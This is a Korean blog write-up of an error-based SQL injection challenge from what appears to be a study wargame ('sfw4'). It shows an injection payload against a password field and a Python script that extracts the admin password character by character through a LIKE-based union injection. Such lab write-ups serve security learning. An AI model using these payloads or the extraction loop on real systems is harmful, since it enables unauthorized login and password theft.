본문 바로가기

웹/sfw

sfw4 (error based SQL injection)

sfw는 에러 기반 SQL injection 문제입니다. 이 문제는 union select문을 이용해 간단히 에러를 확인할 수 있었습니다.

간단한 에러 기반 SQL injection에 사용되는 쿼리인 

pw=' or id='admin' and (select 1 union select length(pw)=10) %23을 입력해주니 아래 결과처럼 에러 메시지가 보였습니다.

 

그래서 길이 값을 바꿔가면서 삽질을 했더니 길이를 알아낼 수 있었습니다.

 

위의 쿼리문에서 length(pw)를 pw like 구문으로 쿼리문을 수정해주어 아래의 파이썬 코드로 문제를 해결했습니다.

import requests

url='http://sfwebstudy.ml/sfw4/sw4.php?'
header={'Cookie':'PHPSESSID=6fie6ujn11inv64hpqjn7t76lc'}

ch = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@$^*-+=~`"
pw=''
for i in range(1,14):
	for j in ch:
		query="pw=' || id='admin' and (select 1 union select pw like '{}%25')%23".format(pw+j)
		result=requests.get(url+query,headers=header)
                if "we have same length" in result.text:
                    continue

                if "LEVEL4. SW4" in result.text:
			pw += j
            		print "pw= {}".format(pw)
            		break

print pw

 

 

' > sfw' 카테고리의 다른 글

sfw6 (XSS)  (0) 2021.01.08
sfw5 (information schema SQL injection)  (0) 2021.01.08
sfw3 (time based SQL injection)  (0) 2021.01.08
sfw2 (blind SQL injection)  (0) 2021.01.08
sfw1 (simple SQL injection)  (0) 2021.01.08